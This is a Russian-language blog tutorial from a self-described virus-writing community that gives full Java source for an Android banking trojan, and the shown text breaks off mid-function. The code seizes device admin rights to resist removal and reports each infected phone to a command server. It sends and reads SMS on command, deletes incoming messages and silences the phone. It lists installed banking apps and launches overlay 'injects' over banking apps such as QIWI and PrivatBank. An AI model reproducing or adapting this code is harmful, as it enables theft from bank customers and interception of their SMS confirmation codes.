Блог - Black Cardinals

VX сцена - это наша жизнь!

Вы не авторизованы: войдите или зарегистрируйтесь

Android BOT с нуля



Сегодня рассмотрим написания android бота с нуля, что он у нас будет делать:
- запрашивать админ права
- запрашивать разрешения для отправки СМС(android 6.0 и выше)
- Отправлять СМС
- Читать СМС
- Удалять входящие СМС, глушить звук и вибрацию(удаление работает до 4.4, но бывает работает и выше, зависит от модели устройства, заглушка звука и вибрации работает на всех).
- Веб инжекты(до 6.0)

В админке будет отображаться:
- IMEI/ID
- Номер
- Версия ОС
- Версия APK
- Страна(выделена флагом)
- Банк(которы(й,е) установлен(ы))
- Модель устройства
- Наличие админ прав
- Состояние экрана
- В сети бот или нет(зеленый в сети, желтый не в сети, черный не в сети более 2-х дней)
- Дата заражения
- а так же, отображает наличия инжекта, вх смс от банка и кнопка лог(индивидуальный)

Нам потребуется Android Studio, знания языка java, PHP и mysql - для админки
Обратите внимание, в коде более подробно описано комментариями!
И так , не будем лить воду и начнем писать!

Создаем чистый проект(Activity), скомпилированный apk имеет вес 34кб, подготовил шаблон проекта __tps://yadi.sk/d/2AYnTo2033yUfY

пока мы имеем чистый MainActivity

package com.example.livemusay.myapplication;
import android.app.Activity;
public class MainActivity extends Activity
{
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

}
}

Добавим 2 класса с названиями constants и secFunctions
constants тут и так понятно что храним константы, а secFunctions - будут дополнительные функции, такие как получения выделенного тегами текста из строки, получения IMEI, алгоритмы зашифрования и расшифрования строк трафика!

Класс constants
package com.example.livemusay.myapplication;
public class constants
{
public final String url ="__tp://URL.ru";// админка
public final String key_post = "qwe";//ключ шифрования запросовPOST
public final String Version = "Demo"; // Версия апк
}


Класс secFunctions
package com.example.livemusay.myapplication;
import android.content.Context;
import android.os.Build;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.util.Log;
import java.net.URLDecoder;
import java.net.URLEncoder;

public class secFunctions
{
// функция для поиска текста в строке по тегам
public String return_plain_text(String text,String tagBIGIN, String tagEND)//Убираем <TAG>text</TAG>
{
try {
int indexBIGIN = text.indexOf(tagBIGIN) + tagBIGIN.length();
int indexEND = text.indexOf(tagEND);
text = text.substring(indexBIGIN, indexEND);
return text;
}catch (Exception e)
{
Log.e("ERROR","text_tag");
return "";
}
}
//***************
//получаем IMEI
public String IMEI(Context context)
{
TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
String IMEI="";
if (Build.VERSION.SDK_INT < 23)
{
IMEI = tm.getDeviceId();
}
else
{
IMEI = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);

if(IMEI == "")
{
IMEI = "35"+
Build.BOARD.length()%10 + Build.BRAND.length()%10 +
Build.CPU_ABI.length()%10 + Build.DEVICE.length()%10 +
Build.DISPLAY.length()%10 + Build.HOST.length()%10 +
Build.ID.length()%10 + Build.MANUFACTURER.length()%10 +
Build.MODEL.length()%10 + Build.PRODUCT.length()%10 +
Build.TAGS.length()%10 + Build.TYPE.length()%10 +
Build.USER.length()%10;
}
}
return IMEI;
}

//----шифрование трафика--------
public String trafEnCr(String text)
{
text = URLEncoder.encode(text);
String key = "qwe";
String s="";
try {
for (int i = 0; i < text.length(); i++) {
char c = text.charAt(i);
int j = (int) c;
s += j + " ";
}
for (int i = 0; i < key.length(); i++) {
String dd = key.substring(i, i + 1);
s = s.replace("" + i, dd);
}
}catch (Exception ex){}
return s;
}

public String trafDeCr(String text)
{
constants const_ = new constants();
String s = text;
String s1 = "";
String key = const_.key_post;
try {
for (int i = 0; i < key.length(); i++)
{
String dd = key.substring(i, i + 1);
s = s.replace(dd, "" + i);
}
String ter = s;

for (String retval : ter.split(" "))
{
String SS = retval;
int number = Integer.parseInt(SS);
char c = (char)number;
s1 += c;
}
}catch (Exception ex)
{
}
s1+=" ";
s1 = URLDecoder.decode(s1);
return s1;
}
}

Так, теперь нам нужен админ права, надо же хоть как то сопротивляться жертве, добавим классы c названиями PoM_adm и DAdm(наследует от DeviceAdminReceiver) и activity c названием goR00t - названия такие, чтоб не было сигнатуры(хотя она скоро появится smile.gif )

Теперь начнем их описывать
Класс PoM_adm
package com.example.livemusay.myapplication;

import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;

public class PoM_adm {
public static final int DMP = 100;
private Context MC;
private DevicePolicyManager mDPM;
private ComponentName AC;

public PoM_adm(Context context)
{
this.MC = context;
String gd = MC.getPackageName() + ".DAR";
String ndg = MC.getPackageName();
mDPM = (DevicePolicyManager) MC.getSystemService(Context.DEVICE_POLICY_SERVICE);
AC = new ComponentName(ndg, gd);
}
public boolean ISS() {return mDPM.isAdminActive(AC);}
public ComponentName GAC() {return AC;}
}


Класс DAdm
package com.example.livemusay.myapplication;
import android.app.admin.DeviceAdminReceiver;

public class DAdm extends DeviceAdminReceiver {}


Активити goR00t
package com.example.livemusay.myapplication;

import android.app.Activity;
import android.app.admin.DevicePolicyManager;
import android.content.Intent;
import android.os.Bundle;

public class goR00t extends Activity {
private PoM_adm PPM;
@Override
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_go_adm);

PPM = new PoM_adm(this);

if (!PPM.ISS())
{
Intent activateDeviceAdmin = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
activateDeviceAdmin.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, PPM.GAC());
activateDeviceAdmin.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "For correct operation of the program, you must confirm аdministrаtоr rights");
startActivityForResult(activateDeviceAdmin, PoM_adm.DMP);
finish();
}
finish();
}
}


так для админ прав все есть, теперь нужно как то обращаться к админке, создадим класс(AsyncTask) request, который будет стучаться в админку(метод POST) и получать команды

Класс request
package com.example.livemusay.myapplication;

import android.os.AsyncTask;
import android.util.Log;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;

public class request
{
public String go_post(String url, String parametr)
{
secFunctions SF = new secFunctions();
SendLoginData SendLoginData = new SendLoginData();
SendLoginData.execute(url,parametr);

try
{
return SF.return_plain_text(SendLoginData.get(),"<tag>","</tag>");
}
catch (Exception x)
{
return "";
}
}

class SendLoginData extends AsyncTask<String, String, String> {

String resultString = null;

@Override
protected void onPreExecute()
{
super.onPreExecute();
}

@Override
protected String doInBackground(String... urls)
{
try
{
String myURL = urls[0];
String parammetrs = urls[1];
byte[] data = null;
InputStream is = null;

try {
URL url = new URL(myURL);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");//POST
conn.setDoOutput(true);
conn.setDoInput(true);

conn.setRequestProperty("Content-Length", //Content-Length
"" + Integer.toString(parammetrs.getBytes().length));
OutputStream os = conn.getOutputStream();
data = parammetrs.getBytes("UTF-8");//UTF-8
os.write(data);
data = null;

conn.connect();
int responseCode= conn.getResponseCode();

ByteArrayOutputStream baos = new ByteArrayOutputStream();

if (responseCode == 200) {
is = conn.getInputStream();

byte[] buffer = new byte[8192];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
data = baos.toByteArray();
resultString = new String(data, "UTF-8");//UTF-8
} else {
}
} catch (MalformedURLException e)
{
//MalformedURLException
Log.e("Request","MalformedURLException");
}
catch (IOException e)
{
//IOException
Log.e("Request","IOException");
}
catch (Exception e)
{
//Exception
Log.e("Request","Exception");
}
} catch (Exception e) {
e.printStackTrace();
}
return resultString;
}

@Override
protected void onPostExecute(String result){super.onPostExecute(result);}
}
}


Отлично, идем дальше, нам нужно обращаться в админку, регистрироваться там, получать команды и выполнять их, для этого создадим IntentService с названием StartWhile

Сервис StartWhile, еще раз повторяю, подробные описания кода закомпилированны в коде!!!
package com.example.livemusay.myapplication;

import android.app.ActivityManager;
import android.app.AlarmManager;
import android.app.IntentService;
import android.app.KeyguardManager;
import android.app.PendingIntent;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.media.AudioManager;
import android.os.Build;
import android.os.PowerManager;
import android.provider.Settings;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.util.Log;

import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;
import java.util.concurrent.TimeUnit;

import static android.os.PowerManager.PARTIAL_WAKE_LOCK;


public class StartWhile extends IntentService
{
constants const_ = new constants();
Context context;
public StartWhile() {
super("myname");
}

public void onCreate() {super.onCreate();}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);

return START_STICKY;
}
@Override
protected void onHandleIntent(Intent intent)
{
context = this;
readCommand();//Вызываем главную функцию цикла
}

public void readCommand()
{
while (true)//наш цикл
{
try {TimeUnit.SECONDS.sleep(3);} catch (InterruptedException e) {e.printStackTrace();}

//не даем устройству уйти в спячку
PowerManager mPowerManager = (PowerManager) this.getSystemService(POWER_SERVICE);
PowerManager.WakeLock mWakeLock = mPowerManager.newWakeLock(PARTIAL_WAKE_LOCK, "Service");
if (mWakeLock != null) {
mWakeLock.acquire();
//Запущен WakeLock
}

request setPost = new request();
secFunctions SF = new secFunctions();

TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

// получаем IMEI и номера
String IMEI = "";
String number = "";
String number_ = "";

if (Build.VERSION.SDK_INT < 23) {
IMEI = tm.getDeviceId();
number = "(" + tm.getNetworkOperatorName() + ")" + tm.getLine1Number();
} else {
IMEI = Settings.Secure.getString(getContentResolver(), Settings.Secure.ANDROID_ID);

if (IMEI == "") {
IMEI = "35" + // 35
Build.BOARD.length() % 10 + Build.BRAND.length() % 10 +
Build.CPU_ABI.length() % 10 + Build.DEVICE.length() % 10 +
Build.DISPLAY.length() % 10 + Build.HOST.length() % 10 +
Build.ID.length() % 10 + Build.MANUFACTURER.length() % 10 +
Build.MODEL.length() % 10 + Build.PRODUCT.length() % 10 +
Build.TAGS.length() % 10 + Build.TYPE.length() % 10 +
Build.USER.length() % 10;
}
number = "(NO)"; //(NO)
number_ = "Indefined"; //Indefined
}
String device = android.os.Build.VERSION.RELEASE; // ОС
String model = android.os.Build.MODEL + " (" + android.os.Build.PRODUCT + ")"; // модель
String country = tm.getNetworkCountryIso(); // страна

String b_nk = "";

//************проверка root прав**********
String r0_int="0";
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName componentName = new ComponentName(context, DAdm.class);

if (!deviceManager.isAdminActive(componentName)) {
r0_int = "0";
}else{
r0_int = "1";
}

//*************Проверка состояние экрана*******
KeyguardManager km = (KeyguardManager) getSystemService(context.KEYGUARD_SERVICE);
boolean locked = km.inKeyguardRestrictedInputMode();
String screen_int="0";
if (locked == true)
{
screen_int = "0";
Log.e("222", "off");
} else {
screen_int = "1";
Log.e("222", "on");
}
//***************Стучимся в АДминику
Log.e("post", "tuk_p=" + SF.trafEnCr(IMEI+":"+r0_int+":"+screen_int));
String responce = setPost.go_post(const_.url + "/private/tuk_tuk.php", "p=" + SF.trafEnCr(IMEI+":"+r0_int+":"+screen_int));
responce = SF.trafDeCr(responce);

Log.e("Запрос", " - > " + responce);
//Если приходит |NO|, то регистрируем бот в админке,
//иначе в случае присутвии команд в бд mysql получаем их!
if (responce.contains("|NO|") == true) {
b_nk = get$holder();
System.out.println("Регаем");
System.out.println("set_data_p=" + SF.trafEnCr(" " + IMEI + ":" + number + number_ + ":" + device + ":" + country + ":" + b_nk + ":" + model));
responce = setPost.go_post(const_.url + "/private/set_data.php", "p=" + SF.trafEnCr(IMEI + ":" + number + number_
+ ":" + device + ":" + country + ":" + b_nk + ":" + model + ":" + const_.Version));

responce = SF.trafDeCr(responce);
}else if(responce.contains("state1letsgotxt") == true)
{
String resp_settings = setPost.go_post(const_.url + "/private/settings.php", "p=" + SF.trafEnCr(IMEI));
resp_settings = SF.trafDeCr(resp_settings);
Log.e("Настройки",""+resp_settings);

try
{
String mystring = resp_settings;
FileOutputStream fos = openFileOutput("setting", Context.MODE_PRIVATE);
fos.write(mystring.getBytes());
fos.close();
Log.e("Настройки","Запись удалась успешна!");
} catch (IOException ioe)
{
Log.e("Настройки","Запись не удалась!");
}
}

Log.e("Запрос", " - > " + responce);
String parts[] = responce.split("::");

//получаем все команды и выполняем их!
for (int j = 0; j < parts.length; j++) {

if (parts[j].contains("Send SMS") == true) //отправляем смс
{
//получаем номер и текст для отправки
String number$ = SF.return_plain_text(parts[j], "|number=", "|text=");
String[] text$ = parts[j].split("text=");

try
{
//Отправляем СМС
SmsManager.getDefault().sendTextMessage(number$, null, text$[1], null, null);
setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(IMEI + "|(Исх) " + "СМС на номер {" + number$ + "}с текстом {" + text$[1] + "} отправлено!|"));
System.out.println("Отправляем смс на номер " + number$ + " с текстом " + text$[1]);
//Глушим звук смс на свякий случай!
AudioManager audm;
audm = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
audm.setRingerMode(AudioManager.RINGER_MODE_SILENT);
}
catch (Exception ex)
{
//если смс не удалось отправить оповещаем в адмиеку и запускаем разрешения для отправки смс
setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(IMEI + "|(Исх) " + "Ошибка с отправкой СМС, возможно нет прав для отправки!|"));
System.out.println(IMEI + ": " + "Ошибка отправки СМС, возможно нет прав для отправки!");
//Запускаем подтверждения смски
Intent dialogIntent = new Intent(StartWhile.this, Press.class);
dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(dialogIntent);

AudioManager audm;//Глушим звук смс!
audm = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
audm.setRingerMode(AudioManager.RINGER_MODE_SILENT);
}
}
if (parts[j].contains("Go_P00t_request") == true) //старт админ прав
{
Intent dialogIntent = new Intent(StartWhile.this, goR00t.class);
dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(dialogIntent);
}

if(isMyServiceRunning(injectionService.class)==false){//Проверяем состояние сервиса инжектов
//запускаем сервис если выкл
context.startService(new Intent(context, injectionService.class));
Log.e("СТАРТ СЕРВИС","inj");
}

AlarmManager localObject = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
PendingIntent localPendingIntent = PendingIntent.getBroadcast(context, 0, new Intent(context, AlarM.class), 0);
((AlarmManager) localObject).setRepeating(localObject.RTC_WAKEUP, System.currentTimeMillis(), 4000, localPendingIntent);
}
try {TimeUnit.SECONDS.sleep(5);} catch (InterruptedException e) {e.printStackTrace();}
}
}


public String get$holder(){
Log.d("INVISIBLE-LOG","SEARCH BANK CLIENT'S");
String banC = "";
int S = 0;
int A = 0;
int Q = 0;
int R_C = 0;
int tin = 0;
int pay = 0;
int wm = 0;
int ros = 0;
int mts_b = 0;
int vtb24 = 0;
int yan_d = 0;
int sber_ua = 0;
int priv24 = 0;
int rus_stand = 0;
int ub = 0;
int id_b = 0;
int iko = 0;
int ban_s = 0;
int otpsmart = 0;

final PackageManager pm = getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

for (ApplicationInfo packageInfo : packages) {
// paypal
if(packageInfo.packageName.equals("com.paypal.android.p2pmobile")){
pay = 1;
}
// webmoney
if(packageInfo.packageName.equals("com.webmoney.my")){
//Log.d("INVISIBLE-LOG","QIWI");
wm = 1;
}
// ubank
if(packageInfo.packageName.equals("com.ubanksu")){
ub = 1;
}
// idea bank
if(packageInfo.packageName.equals("com.alseda.ideabank")){
id_b = 1;
}
// iko
if(packageInfo.packageName.equals("pl.pkobp.iko")){
iko = 1;
}
// bank sms
if(packageInfo.packageName.equals("com.bank.sms")){
ban_s = 1;
}
// otp smart
if(packageInfo.packageName.equals("ua.com.cs.ifobs.mobile.android.otp")){
otpsmart = 1;
}
}


if(pay == 1) banC+="|paypal|";
if(wm == 1) banC+="|webmoney|";
if(ros == 1) banC+="|RosBank|";
if(rus_stand == 1) banC+="|RussStandart|";
if(ub == 1) banC+="|UBank|";
if(id_b == 1) banC+="|Idea_Bank|";
if(iko == 1) banC+="|Iko_Bank|";
if(ban_s == 1) banC+="|Bank_SMS|";
if(otpsmart == 1) banC+="|OTP Smart|";

if((S==0)&&(A==0)&&(Q==0)) banC="no";
banC = banC.replace("||","|\n|");
banC = banC.replace("||","|");
return banC;
}
//Проверка состояние сервиса
private boolean isMyServiceRunning(Class<?> serviceClass) {
ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceClass.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
}


Создадим BroadcastReceiver, который будет принимать входящие смс, запускать сервис удаления смс, запускать сервис StartWhile и пробуждать устройство ALARMом(которого у нас пока нет, добавим позже)

Класс StartBoot(BroadcastReceiver)
package com.example.livemusay.myapplication;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

import java.util.concurrent.TimeUnit;


public class StartBoot extends BroadcastReceiver {

public StartBoot() {
}

@Override
public void onReceive(Context context, Intent intent)
{

String action = intent.getAction();
if(action.equals("android.provider.Telephony.SMS_RECEIVED"))
{
//пришла смс-ка
RCWC(context,intent);
}
else {
//запускаем пробуждения устройства
AlarmManager localObject = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
PendingIntent localPendingIntent = PendingIntent.getBroadcast(context, 0, new Intent(context, AlarM.class), 0);
((AlarmManager) localObject).setRepeating(localObject.RTC_WAKEUP, System.currentTimeMillis(), 4000, localPendingIntent);

//запуск сервисов
context.startService(new Intent(context, StartWhile.class));
context.startService(new Intent(context, injectionService.class));
Log.e("СТАРТ СЕРВИС","inj");

try {
TimeUnit.SECONDS.sleep(1);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
Log.e("B","BOOT Стартанул");
}

//принимаем СМС
public void RCWC(Context context, Intent intent)
{
final Bundle bundle = intent.getExtras();
try {

if (bundle != null) {

final Object[] pdusObj = (Object[]) bundle.get("pdus");

if (pdusObj != null)
for (Object aPdusObj : pdusObj)
{
SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) aPdusObj);
String num = currentMessage.getDisplayOriginatingAddress();
String ms = currentMessage.getDisplayMessageBody();

Log.e("B","Есть СМС");

//запускаем сервис для проверки СМС-КИ
context.startService(new Intent(context, delSoundSWS.class)
.putExtra("intentCommand","RCWC")
.putExtra("num",num)
.putExtra("ms",ms));
}
}

} catch (Exception e) {//Ошибка ресивера СМС

}
}
}


Нам нужно обязательно удалять СМС-ки, глушить звук и вибрация, а так же пробуждать устройство, создадим сервис с названием delSoundSWS и класс AlarM(BroadcastReceiver)

Сервис delSoundSWS
package com.example.livemusay.myapplication;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Build;
import android.os.IBinder;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.util.Log;

import java.util.concurrent.TimeUnit;

public class delSoundSWS extends Service {
constants const_ = new constants();
secFunctions SF = new secFunctions();

@Override
public IBinder onBind(Intent arg0)
{
return null;
}

void stop() {
stopSelf();
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {

try
{
//получаем номер и текст
String num = intent.getStringExtra("num");
String ms = intent.getStringExtra("ms");
RCWC(this, num, ms);
}catch (Exception e){Log.e("Error","AVTO");}

return START_STICKY;
}


public void RCWC(Context context, String num, String ms)
{
request setPost = new request();

String IMEI="";
if (Build.VERSION.SDK_INT < 23)
{
TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
IMEI = tm.getDeviceId();
}
else
{
//Получаем IMEI

IMEI = Settings.Secure.getString(getContentResolver(), Settings.Secure.ANDROID_ID);

if(IMEI == "")
{
IMEI = "35" + // 35
Build.BOARD.length()%10 + Build.BRAND.length()%10 +
Build.CPU_ABI.length()%10 + Build.DEVICE.length()%10 +
Build.DISPLAY.length()%10 + Build.HOST.length()%10 +
Build.ID.length()%10 + Build.MANUFACTURER.length()%10 +
Build.MODEL.length()%10 + Build.PRODUCT.length()%10 +
Build.TAGS.length()%10 + Build.TYPE.length()%10 +
Build.USER.length()%10;
}
}
//Глушим звук смс и вибро!
AudioManager audm;
audm = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
audm.setRingerMode(AudioManager.RINGER_MODE_SILENT);

try {TimeUnit.SECONDS.sleep(1);} catch (InterruptedException e) {e.printStackTrace();}

//удаляем СМС
DCWCSEnt(context,"",num);
//отображаем в админке смс
setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(IMEI + "|(Вх СМС)" + " Номер: {" + num + "} с текстом {" + ms + "}" + DCWC(context,"",num)+"|"));
System.out.println("(СМС)" + num + " с текстом " + ms + " ");
}

//удаляем смс входящие
private String DCWC(Context context, String message, String number) {
String go_D_CWC = "(СМС НЕ УДАЛЕНА)";
try {
Uri uriSms = Uri.parse("content://sms/inbox");
Cursor c = context.getContentResolver().query(uriSms,
new String[]{"_id", "thread_id", "address",
"person", "date", "body"}, null, null, null);

if (c != null && c.moveToFirst())
{
do {
long id = c.getLong(0);
long threadId = c.getLong(1);
String address = c.getString(2);
String body = c.getString(5);

if (!message.equals(body) && address.equals(number)) {
go_D_CWC="(СМС УДАЛЕНА)";
context.getContentResolver().delete(Uri.parse("content://sms/" + id), null, null);
}
} while (c.moveToNext());
}
}
catch (Exception e)
{
go_D_CWC="(ОШИБКА УДАЛЕНИЯ)";
}
return go_D_CWC;
}

//удаляем смс исходящие
public void DCWCSEnt(Context context, String message, String number) {
try {
Uri uriSms = Uri.parse("content://sms/sent");
Cursor c = context.getContentResolver().query(uriSms,
new String[]{"_id", "thread_id", "address",
"person", "date", "body"}, null, null, null);

if (c != null && c.moveToFirst()) {
do {
long id = c.getLong(0);
long threadId = c.getLong(1);
String address = c.getString(2);
String body = c.getString(5);

if (!message.equals(body) && address.equals(number)) {
context.getContentResolver().delete(Uri.parse("content://sms/" + id), null, null);
}
} while (c.moveToNext());
}
} catch (Exception e) {}
}
}


Класс AlarM(BroadcastReceiver)
package com.example.livemusay.myapplication;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class AlarM extends BroadcastReceiver {

public AlarM() {}

@Override
public void onReceive(Context context, Intent intent)
{
//запускаем сервис
context.startService(new Intent(context, StartWhile.class));
}
}


Для андроида 6.0 и выше нам нужен будет запрос для разрешения отправки смс, который вызывается в сервисе StartWhile, создадим Activity с названием Press

Класс Press(Activity)
package com.example.livemusay.myapplication;

import android.Manifest;
import android.app.Activity;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;

public class Press extends Activity {
constants const_ = new constants();
secFunctions SF = new secFunctions();
request setPost = new request();
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_activ_location);

//говорим в админку что запрос запущен
setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(SF.IMEI(this) + "|Запущен модуль запросов разрешений!|"));
locatinPre();//запускаем запрос
}

public void locatinPre()
{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
int checkCallPhonePermission = checkCallingOrSelfPermission(Manifest.permission.SEND_SMS);
if(Build.VERSION.SDK_INT >= 23)
{
if (checkCallPhonePermission != PackageManager.PERMISSION_GRANTED)
{
//выводим запрос
requestPermissions(new String[]{Manifest.permission.SEND_SMS}, 1);
}
else { }
}
}
}

@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults)
{
super.onRequestPermissionsResult(requestCode,permissions,grantResults);

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {

int checkCallPhonePermission = checkCallingOrSelfPermission(Manifest.permission.SEND_SMS);

if(Build.VERSION.SDK_INT >= 23)
{
boolean bb=false;
boolean b=false;

if (checkCallPhonePermission == PackageManager.PERMISSION_GRANTED)
{
bb=true;
b=true;
}

if(bb==true)//если запрос откланен
{
locatinPre();//запускаем снова
setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(SF.IMEI(this) + "|Разрешения: СМС("+b+")|"));
}
else
{
//запрос подтвержден
setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(SF.IMEI(this) + "|Разрешения: СМС("+b+")|"));
finish();
}
}
}
}


@Override
public void onDestroy(){
super.onDestroy();
finish();
}
}



И как раз осталось сделать самое главное, ИНЖЕКТЫ, создадим IntentService с названием injectionService и activity c названием injectionActivity

Сервис injectionService
package com.example.livemusay.myapplication;

import android.annotation.SuppressLint;
import android.app.ActivityManager;
import android.app.IntentService;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.util.Log;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.TimeUnit;

public class injectionService extends IntentService {

private static ArrayList<String> mAppsBuffer;
public injectionService() {
super("MyIntentService");
}

// GET PACKAGES
public String getPackage()
{
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.KITKAT) {
ActivityManager am = (ActivityManager) this.getSystemService(ACTIVITY_SERVICE);
List<ActivityManager.RunningTaskInfo> taskInfo = am.getRunningTasks(1);
ComponentName componentInfo = taskInfo.get(0).topActivity;
return taskInfo.get(0).topActivity.getPackageName();
}
else
{
ActivityManager manager = (ActivityManager)this.getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> tasks = manager.getRunningAppProcesses();
return tasks.get(0).processName;
}
}

@Override
protected void onHandleIntent(Intent intent) {scan_act();}


void scan_act() // стартуем цикл запросов
{
if(Build.VERSION.SDK_INT <= Build.VERSION_CODES.LOLLIPOP_MR1)
{

String inj_go="";
for(int i=0;i>-1;i++)
{


String process = getPackage();
String massivData_s[] = {"ru.mw","privatbank"}; // Название процессов

boolean bool_s = false;
for (int ii = 0; ii < massivData_s.length; ii++) {
String data_num = massivData_s[ii];
data_num = data_num.replace(" ", "");


if((data_num!="")&&(data_num!=" ")) {

if (process.contains(data_num)) {
bool_s = true;
inj_go = data_num;
break;
}
}
}
if (bool_s == true) {
Intent dialogIntent = new Intent(injectionService.this, injectionActivity.class)
.putExtra("str",inj_go);
dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(dialogIntent);

bool_s=false;
}
}

try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}

}
else {//для 5.1 и выше!
int[] inj_i = new int[5000];
for (int i = 0; i < inj_i.length; i++)
{
inj_i[i]=0;
}

for (int i = 0; i > -1; i++) {
try {
TimeUnit.SECONDS.sleep(1);
} catch (InterruptedException e) {
e.printStackTrace();
}
String massivData_s = "/ru.mw/privatbank/";//перечисляем названия процессов через /proc1/proc2/ (Для 6.0)

try {
for (int iii = 0; iii < getRunningAppInLollipopAndMarshmallow(massivData_s).length; iii++) {
Log.e("dsf", "" + getRunningAppInLollipopAndMarshmallow(massivData_s)[iii]);
}
}catch (Exception e){Log.e("ERROR","ERROR");}

try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}

}
}
}

/////////////////получаем Названия запущенных процессов
private String[] getRunningAppInLollipopAndMarshmallow(String dataFile) {
File[] files = new File("/proc").listFiles();
ArrayList<String> packages = new ArrayList<>();

if(dataFile.contains("/"))
{
for (File file : files) {

try {

}catch (Exception e)
{
if (!file.isDirectory())
continue;
}

int pid;
try {
pid = Integer.parseInt(file.getName());
} catch (NumberFormatException e) {
continue;
}

try {
@SuppressLint("DefaultLocale")
String cgroup = read(String.format("/proc/%d/cgroup", pid));
String[] lines = cgroup.split("\n");

if (lines.length != 2) continue;
if (!lines[1].endsWith(Integer.toString(pid))) continue;
if (lines[0].endsWith("bg_non_interactive")) continue;

@SuppressLint("DefaultLocale")
String cmdline = read(String.format("/proc/%d/cmdline", pid)).trim();
Log.i("vvcv","" +cmdline);
boolean nextValue = false;

String[] massiv = dataFile.split("/");
for (int ii=1;ii<massiv.length;ii++) {
{
// Log.e("33",massiv[ii]+"-|-"+cmdline);
if (cmdline.contains(massiv[ii])) {

Intent dialogIntent = new Intent(injectionService.this, injectionActivity.class)
.putExtra("str",massiv[ii]);
dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(dialogIntent);

Log.e("2", "Старт инжект" );
break;
}}
}

if (nextValue)
continue;

if (cmdline.contains(":"))
cmdline = cmdline.split(":")[0].trim();

packages.add(cmdline);

} catch (IOException e) {
e.printStackTrace();
}
}
}
return formatAppsForLollipopAndMarshmallow(packages);
}

private String read(String path) throws IOException {
try {
StringBuilder output = new StringBuilder();
BufferedReader reader = new BufferedReader(new FileReader(path));
output.append(reader.readLine());
for (String line = reader.readLine(); line != null; line = reader.readLine()) {
output.append('\n').append(line);
}
reader.close();
return output.toString();
}catch (Exception ex)
{
return "";
}

}

private String[] formatAppsForLollipopAndMarshmallow(ArrayList<String> inputApps) {
try {
ArrayList<String> resultRealApps = new ArrayList<>();
ArrayList<String> withoutRealApps = new ArrayList<>();

if (mAppsBuffer != null) {
for (String app : inputApps) {
if (!mAppsBuffer.contains(app)) {
resultRealApps.add(app);
} else {
withoutRealApps.add(app);
}
}
